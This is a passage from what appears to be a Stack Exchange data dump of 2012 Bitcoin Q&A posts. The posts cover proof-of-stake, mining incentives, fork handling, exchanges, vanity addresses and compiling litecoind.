  <row Id="3123" PostTypeId="2" ParentId="3111" CreationDate="2012-03-09T10:51:33.383" Score="23" Body="&lt;p&gt;There will definitely be a tragedy of the commons problem if things stand as they are now. This was discussed at some length &lt;a href=&quot;https://bitcointalk.org/index.php?topic=6284.0&quot;&gt;here&lt;/a&gt; and elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some proposed ways to address this and make transaction fees nonzero (block size limit, hardcoded fees, insurance entities, mining cartel, gentleman's agreements which are maintained for fear defection would beget more defection, etc.), but I don't think either results in the combination of competitive transaction fees and a level of hashrate which is enough to offer reasonable security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that there must be some way to improve the network's security at a given hashrate. The only way I know to do that is by augmenting proof-of-work with proof-of-stake, discussed for example &lt;a href=&quot;https://bitcointalk.org/index.php?topic=37194.0&quot;&gt;here&lt;/a&gt;. This is based on the observation that obtaining a majority of the bitcoins in existence is orders of magnitude more difficult than obtaining a majority of the hashrate.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-03-09T13:18:51.390" LastActivityDate="2012-03-09T13:18:51.390" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3124" PostTypeId="2" ParentId="3122" CreationDate="2012-03-09T11:32:47.007" Score="1" Body="&lt;p&gt;You probably need to read: &#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably like the methods getblockcount and getblocknumber.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think the API can give you the latest blocknumber until it's been updated, but you can find it on &lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt; -&gt; blocks -&gt; count.&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="659" LastEditDate="2012-03-10T02:04:42.760" LastActivityDate="2012-03-10T02:04:42.760" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3125" PostTypeId="1" AcceptedAnswerId="3130" CreationDate="2012-03-09T12:33:34.300" Score="4" ViewCount="503" Body="&lt;p&gt;Meni mentioned &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3123/78&quot;&gt;Proof of Stake&lt;/a&gt; as a possible way to augment Proof of Work as the underlying mechanism powering Bitcoin confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it viable? What are its downsides? Who has analyzed it? (I don't see a lot of people on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=37194.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-03-09T14:48:01.267" Title="Is proof-of-stake a viable alternative / augmentation to proof-of-work?" Tags="|protocol|blockchain|future-proof|" AnswerCount="1" CommentCount="0" ClosedDate="2012-03-11T13:18:44.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="3126" PostTypeId="1" CreationDate="2012-03-09T12:52:35.837" Score="5" ViewCount="2518" Body="&lt;p&gt;The most effective way I could find so far was Mt.Gox. The costs that are involved are still quite prohibitive. But this then boils down to the question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/639/whats-the-best-way-for-someone-in-israel-to-move-money-in-and-out-of-mt-gox-an&quot;&gt;what is the most effective way to get your money out of [Insert your Exchage here]-exchange.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there &lt;em&gt;any&lt;/em&gt; better way to convert your currency? (Swiss Francs in my case)&lt;/p&gt;&#xA;" OwnerUserId="999" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-03-12T09:37:31.440" Title="What is the most effective way to buy bitcoin from swiss francs?" Tags="|exchanges|currencies|" AnswerCount="2" CommentCount="3" ClosedDate="2012-03-12T17:23:31.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="3127" PostTypeId="1" CreationDate="2012-03-09T13:08:31.730" Score="6" ViewCount="9496" Body="&lt;p&gt;I take reference to the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/103/whats-the-difference-between-an-asic-and-an-fpga-which-is-better-for-mining&quot;&gt;Question here which compares ASIC with FPGA&lt;/a&gt;. In this question someone quotes a company called &lt;a href=&quot;http://largecoin.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Largecoin&lt;/a&gt; that is said to be at the development of such an ASIC. However their web page does not really look promising. It rather looks like some investment seeking attempt. (Quote from the only content on the web page: &quot;For more information about LargeCoin, visit largecoin.com&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if there are &lt;em&gt;any other&lt;/em&gt; attempts at building ASIC for bitcoin mining?&lt;/p&gt;&#xA;" OwnerUserId="999" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-03-09T15:19:03.247" Title="Are there any attempts at creating ASIC for bitcoin mining?" Tags="|asic|mining-hardware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3128" PostTypeId="2" ParentId="3111" CreationDate="2012-03-09T14:30:08.930" Score="4" Body="&lt;p&gt;Public Service Mining seems quite plausible to me. In 40 years time one would hope that Bitcoin would have a large number of stakeholders who have a very strong incentive for the financial system to keep running smoothly. Those stakeholders I would expect to put non-zero effort into mining even for near-zero direct reward.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-03-09T14:30:08.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3129" PostTypeId="2" ParentId="3111" CreationDate="2012-03-09T14:40:58.080" Score="21" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=67900.msg792199#msg792199&quot;&gt;Mike Hearn just posted&lt;/a&gt; about how Network Assured Contracts handle this problem. I don't find an immediate flaw with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I understand the proposed solution:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Anyone with an interest in a high hash rate (basically, anyone holding&#xA;  a large amount of coins), can initiate or cooperate on&#xA;  SIGHASH_ANYONECANPAY transactions. Those are an effective way for&#xA;  people to say stuff &quot;I pledge 10 BTC for the next miner to mine a&#xA;  block, provided 100 total BTC is donated in this transaction ...&#xA;  otherwise, I'll get my money back in 5 blocks&quot;?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So, if people or organizations holding a large amount of BTC see that&#xA;  the security is too low for their standard, they can chip in ...&#xA;  provided others do so as well.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2012-03-09T16:13:03.317" LastActivityDate="2012-03-09T16:13:03.317" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="3130" PostTypeId="2" ParentId="3125" CreationDate="2012-03-09T14:48:01.267" Score="-2" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/3129/78&quot;&gt;This answer&lt;/a&gt; might be enough to make proof-of-stake not needed.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-03-09T14:48:01.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3131" PostTypeId="1" AcceptedAnswerId="3133" CreationDate="2012-03-09T14:58:57.620" Score="8" ViewCount="482" Body="&lt;p&gt;What happens when a forked chain becomes longer than the main block chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume the forked chain that just became longer has no transactions in it, so it is as if every transaction in the last n blocks never happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, the official Bitcoin client will recognize that any recent transactions it sent no longer exist and will re-broadcast them. By question is,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What age transactions will be re-issued? Will a transaction that is years old still be reissued? What's the cutoff?&lt;/li&gt;&#xA;&lt;li&gt;Does the exact transaction get reissued or does an equivalent transaction get created? i.e. will it attempt to send the exact same Bitcoins (which, due to the fork, might no longer actually be owned) or will it create an equivalent transaction based on Bitcoins that it still owns? What if the client doesn't have enough Bitcoins?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Edit: Since I can't find where I first saw it anymore, I guess I should also ask: does the official client, in fact, reissue transactions in the event of a block chain fork?&lt;/p&gt;&#xA;" OwnerUserId="1053" LastActivityDate="2016-07-23T08:48:50.900" Title="Bitcoin client behavior in event of a fork" Tags="|client|blockchain|blockchain-fork|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3132" PostTypeId="2" ParentId="3131" CreationDate="2012-03-09T15:57:16.487" Score="6" Body="&lt;p&gt;In the case of a reorganization, the transactions that were 'lost' in the previous longer chain are moved back to the memory pool, under the condition that they are valid in the new chain. This means that if the inputs do not exist anymore in the new chain, they are lost. This is precisely how a &quot;double spend attack&quot; works: try to fork the chain, and spend the coins in both branches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect of moving transactions back to the memory pool is only that the client does not forget them (it will not reannounce, or download them from peers when told about them), and if the node is a miner, they will be candidates for inclusion in the next block created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, this means that there are no retransmits: miners and the rest of the network try their best to not forget about these lost transactions. If that fails however, and for some reason (too little fee, for example) the transaction does not survive, it is the responsibility of the node that originally sent the transaction out to rebroadcast. So yes, there are retransmits as well, but only by the original owner, and only when it detects the transaction is not or no longer in the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's always a byte-for-byte identical transaction, not an equivalent using different inputs.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="5406" LastEditDate="2016-07-23T08:48:50.900" LastActivityDate="2016-07-23T08:48:50.900" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3133" PostTypeId="2" ParentId="3131" CreationDate="2012-03-09T16:23:22.450" Score="3" Body="&lt;p&gt;Transactions you've sent will be resent forever (every 30 minutes or so), even if they have no chance of getting in the chain because they are now invalid. The same transactions are sent -- new ones aren't created.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-03-09T16:23:22.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3134" PostTypeId="2" ParentId="1621" CreationDate="2012-03-09T16:39:20.890" Score="3" Body="&lt;p&gt;To get ALL mtgoxUSD trades since the start you can use the following url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.bitcoincharts.com/t/trades.csv?symbol=mtgoxUSD&amp;amp;start=0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WARNING. This generates a 49mb csv at the moment and can take some time, so please only follow the link if you actually need the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visit &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/about/markets-api/&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="1129" LastActivityDate="2012-03-09T16:39:20.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3135" PostTypeId="2" ParentId="3127" CreationDate="2012-03-09T17:13:44.873" Score="4" Body="&lt;p&gt;The closest thing to ASIC seems to be the BitForce series which has just been released and customers it seems are just begining to receive their first orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is your system based on FPGA or ASIC technology?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The BitForce processor card is a proprietary implementation of both&#xA;  FPGA and ASIC technology.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I'm aware, the actual chip design won't be released, but it seems legit now that people have begun testing the potential.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.butterflylabs.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.butterflylabs.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="1420" LastEditDate="2012-06-24T19:24:33.063" LastActivityDate="2012-06-24T19:24:33.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3136" PostTypeId="1" AcceptedAnswerId="3188" CreationDate="2012-03-09T19:24:20.783" Score="4" ViewCount="1918" Body="&lt;p&gt;I have an Ubuntu set up (11.10) and 2 ATI Radeon HD 6870 cards. It detects one, but not the other for some reason when I try to run &lt;code&gt;poclbm&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run &lt;code&gt;lspci&lt;/code&gt;, it finds both cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="659" LastEditDate="2012-03-10T00:53:12.410" LastActivityDate="2012-04-04T22:16:08.563" Title="How can I enable more GPUs in Ubuntu for poclbm?" Tags="|ubuntu|poclbm|gpu|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3138" PostTypeId="2" ParentId="3126" CreationDate="2012-03-09T21:14:22.580" Score="1" Body="&lt;p&gt;There is also &lt;a href=&quot;http://bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;BitStamp&lt;/a&gt; which lists CHF as a currency it will convert for trading (international wire). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also the &lt;a href=&quot;https://en.bitcoin.it/wiki/Selling_bitcoins&quot; rel=&quot;nofollow&quot;&gt;wiki page on selling bitcoins&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="659" LastEditDate="2012-03-10T00:49:17.847" LastActivityDate="2012-03-10T00:49:17.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3139" PostTypeId="1" AcceptedAnswerId="3140" CreationDate="2012-03-10T06:59:32.377" Score="29" ViewCount="22981" Body="&lt;p&gt;I once found a program that was capable of creating Bitcoin addresses with specific words in them, but can't find it now.  Is there a trusted program, in the Ubuntu repositories for example, that can generate these 'vanity' addresses?&lt;/p&gt;&#xA;" OwnerDisplayName="user893" LastEditorUserId="2306" LastEditDate="2013-02-16T07:28:49.953" LastActivityDate="2022-01-21T11:34:44.853" Title="How can I generate a vanity Bitcoin address?" Tags="|hash|vanity-address|" AnswerCount="9" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3140" PostTypeId="2" ParentId="3139" CreationDate="2012-03-10T08:39:22.687" Score="31" Body="&lt;p&gt;I guess you mean Vanitygen:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=25804.0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From that page:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Vanitygen is a command-line vanity bitcoin address generator.&lt;/p&gt;&#xA;&lt;p&gt;Vanitygen accepts as input a pattern, or list of patterns to search&#xA;for, and produces a list of addresses and private keys.  Vanitygen's&#xA;search is probabilistic, and the amount of time required to find a&#xA;given pattern depends on how complex the pattern is, the speed of your&#xA;computer, and whether you get lucky.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1153" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-03-10T11:03:15.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3141" PostTypeId="2" ParentId="3126" CreationDate="2012-03-10T11:59:33.670" Score="3" Body="&lt;p&gt;Switzerland takes part in the SEPA (Single Euro Payment Area); the Bitcoin exchanges that do SEPA transfers will probably be the ones with lowest costs for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect your bank will charge you for converting between CHF and EUR. If you want to convert often you may want to open a euro denominated account instead.&lt;/p&gt;&#xA;" OwnerUserId="1153" LastEditorUserId="659" LastEditDate="2012-03-11T08:28:54.833" LastActivityDate="2012-03-11T08:28:54.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3142" PostTypeId="2" ParentId="2913" CreationDate="2012-03-10T12:26:39.213" Score="1" Body="&lt;p&gt;Some (one?) of the *.log files are connected to your wallet.dat address database, knowing your bitcoin addresses implies knowing your transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One (debug.log) is free format debugging text and may contain all kinds of identifying info.&lt;/p&gt;&#xA;" OwnerUserId="1153" LastActivityDate="2012-03-10T12:26:39.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3143" PostTypeId="2" ParentId="2764" CreationDate="2012-03-10T13:03:36.623" Score="1" Body="&lt;p&gt;That monitoring page states that it counts hosts from 'addr' messages seen on the bitcoin network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An 'addr' message contains the IP number &amp;amp; port number of a bitcoin client. Since all bitcoin clients use the same listening port number the IP number is the only information to count by. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a bitcoin client connects to a peer it does send out an extra number to identify it by. However there is no friendly way to force all clients behind an IP number to connect to you so you cannot capture that number for all those clients.&lt;/p&gt;&#xA;" OwnerUserId="1153" LastActivityDate="2012-03-10T13:03:36.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3144" PostTypeId="1" AcceptedAnswerId="3147" CreationDate="2012-03-10T16:08:41.013" Score="3" ViewCount="185" Body="&lt;p&gt;I've encountered the page on &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_stick&quot; rel=&quot;nofollow&quot;&gt;&quot;Bitcoin stick&quot;&lt;/a&gt; while browsing the &lt;a href=&quot;https://en.bitcoin.it/wiki/Research&quot; rel=&quot;nofollow&quot;&gt;Research wiki page&lt;/a&gt;. The information provided on the subject is quite small. Can anyone explain what it really is and where one can find more information on the subject?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2021-03-06T19:11:08.427" LastActivityDate="2021-03-06T19:11:08.427" Title="What is the &quot;Bitcoin stick&quot;?" Tags="|hardware-wallet|academic-research|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3145" PostTypeId="1" AcceptedAnswerId="3146" CreationDate="2012-03-10T17:05:41.690" Score="3" ViewCount="267" Body="&lt;p&gt;Is there a website that aggregates all technical and jargon terms used by the Bitcoin community? In other words, is there some compact reference guide that could serve as a &quot;Bitcoin Dictionary&quot;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-12-16T10:17:07.900" Title="Bitcoin Dictionary" Tags="|websites|standard|academic-research|terminology|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3146" PostTypeId="2" ParentId="3145" CreationDate="2012-03-10T17:17:19.993" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Vocabulary&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Vocabulary&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-03-10T17:17:19.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3147" PostTypeId="2" ParentId="3144" CreationDate="2012-03-10T18:36:48.550" Score="3" Body="&lt;p&gt;See &lt;a href=&quot;http://www.youtube.com/watch?v=IavQ-Wc8S1U&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=IavQ-Wc8S1U&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Clemens Cap of Uni Rostock explains the Electronic Bitcoin wallet&#xA;device he's working on. It's based on adafruit microtouch device.&lt;/p&gt;&#xA;&lt;p&gt;This&#xA;is a small takeout of Clemens' talk at the Bitcoin Conference in&#xA;Prague 2011&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1153" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-03-10T18:36:48.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3148" PostTypeId="1" AcceptedAnswerId="3151" CreationDate="2012-03-11T01:04:50.543" Score="4" ViewCount="4525" Body="&lt;p&gt;I am trying to compile litecoind on Ubuntu 11.10 i386 server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this recipe I found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://github.com/coblee/litecoin.git&#xA;cd ~/litecoin/src/&#xA;make -f makefile.unix litecoind&#xA;mkdir ~/.litecoin/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am stuck there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make -f makefile.unix litecoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# make -f makefile.unix litecoind&#xA;makefile.unix:138: warning: overriding commands for target `obj/nogui/scrypt.o'&#xA;makefile.unix:135: warning: ignoring old commands for target `obj/nogui/scrypt.o'&#xA;g++ -c -pthread -Wno-invalid-offsetof -Wformat -g -DNOPCH  -DUSE_UPNP=0 -DUSE_SSL -fno-stack-protector -fstack-protector-all -Wstack-protector -Wl,-z,relro -Wl,-z,now -D_FORTIFY_SOURCE=2 -O2 -MMD -o obj/nogui/checkpoints.o checkpoints.cpp&#xA;checkpoints.cpp:5:59: fatal error: boost/assign/list_of.hpp: No such file or directory&#xA;compilation terminated.&#xA;make: *** [obj/nogui/checkpoints.o] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know what is going wrong? Seem like a file missing or a problem with the compiler. Also failed on Ubuntu server 11.10 x64...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In that case the solution is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install libboost-all-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank's to David Schwartz for his help.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2012-03-11T02:49:57.107" LastActivityDate="2019-01-09T08:16:30.317" Title="g++ problem compiling litecoind on Ubuntu Server i386" Tags="|litecoin|server|compiling|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3149" PostTypeId="1" AcceptedAnswerId="14085" CreationDate="2012-03-11T01:11:24.967" Score="7" ViewCount="2798" Body="&lt;p&gt;Apart bank wire is there a fastest/cheapest way to buy Bitcoin? I checked the map with the live seller but there is none in Montreal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank's.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-01-06T04:03:30.570" Title="Easiest way to buy Bitcoin from Montreal/Canada" Tags="|buy-bitcoins|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3150" PostTypeId="1" AcceptedAnswerId="3152" CreationDate="2012-03-11T04:52:53.620" Score="21" ViewCount="7767" Body="&lt;p&gt;When withdrawing bitcoins from Mt. Gox, there is an option with a checkbox next to it titled &quot;Open Transaction (6 confirmations)&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this do to my withdrawal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking this is probably a mislabeling for an option that ensures that even if the receiving address is for another customer account at Mt. Gox that the transaction will be sent through the blockchain.  Otherwise, if those transactions are handled internally without appearing on the blockchain then it is difficult to prove that a bitcoin payment was sent.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-05T02:00:17.017" Title="What function does Mt. Gox's &quot;Open Transaction&quot; withdrawal option perform?" Tags="|exchanges|mtgox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3151" PostTypeId="2" ParentId="3148" CreationDate="2012-03-11T05:25:44.597" Score="4" Body="&lt;p&gt;The file &lt;a href=&quot;https://github.com/coblee/litecoin/blob/master/doc/build-unix.txt&quot; rel=&quot;nofollow&quot;&gt;~/litecoin/doc/build-unix.txt&lt;/a&gt; contains build instructions.  The one you're missing is on line 61:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install libboost-all-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-11T05:25:44.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3152" PostTypeId="2" ParentId="3150" CreationDate="2012-03-11T06:17:26.827" Score="17" Body="&lt;p&gt;I just asked on the #mtgox IRC channel, and was told:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;06:36 &amp;lt; dooglus&amp;gt; what does the &quot;Open Transaction (6 Confirmations)&quot; option&#xA;                 do when withdrawing BTC?&#xA;06:48 &amp;lt; Cory&amp;gt; If the Bitcoin address you're withdrawing to is a MtGox address,&#xA;              it will use the network and blockchain anyway.&#xA;06:49 &amp;lt; Cory&amp;gt; Otherwise, if that option is not checked, they will only internally&#xA;              transfer the funds.&#xA;06:53 &amp;lt;@MagicalTux&amp;gt; and instantly&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So there you have it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggested they should label it differently:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;07:13 &amp;lt; dooglus&amp;gt; it would be better to use some different text for that option -&#xA;                 like &quot;use bitcoin network even for transfers to mtgox deposit&#xA;                 addresses&quot; for instance&#xA;07:19 &amp;lt;@MagicalTux&amp;gt; dooglus: it use to be something like that, but people were&#xA;                    complaining it was not clear enough&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-03-11T06:36:05.413" LastActivityDate="2012-03-11T06:36:05.413" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3153" PostTypeId="2" ParentId="3066" CreationDate="2012-03-11T06:29:29.600" Score="1" Body="&lt;p&gt;Okay, A wants to send to B, but wants to hide the chain.  Enter a matching service.  The matching service makes a record of A wanting to send to B and waits until C wants to send to D.  Then it tells A to send to D and C to send to B and charges a commission.  Then everyone is happy and there is no link from A to B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in practice this may be a little dicey.  Suppose A and B are in the Green mafia and C and D are in the Blue mafia.  So now the police are investigating a link between the Green and the Blue mafias.&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2012-03-11T06:29:29.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3154" PostTypeId="2" ParentId="3149" CreationDate="2012-03-11T11:33:02.130" Score="7" Body="&lt;p&gt;Deposit cash at a bank is a deposit method for CAVirtex.   TD or CIBC banks.  You don't need to have an account to deposit.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/VirtEx&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/VirtEx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CaVirtEx no longer allows cash deposits at any bank. You now make a Bill Payment to an established Payee, and CaVirtEx credits your account about 2-3 days later.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.cavirtex.com/news&quot; rel=&quot;nofollow&quot;&gt;https://www.cavirtex.com/news&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a new service called harborly which allows you to buy and sell bitcoins in Canada directly with your bank account.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://harbor.ly/&quot; rel=&quot;nofollow&quot;&gt;https://harbor.ly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="4241" LastEditDate="2014-09-13T18:41:40.603" LastActivityDate="2014-09-13T18:41:40.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
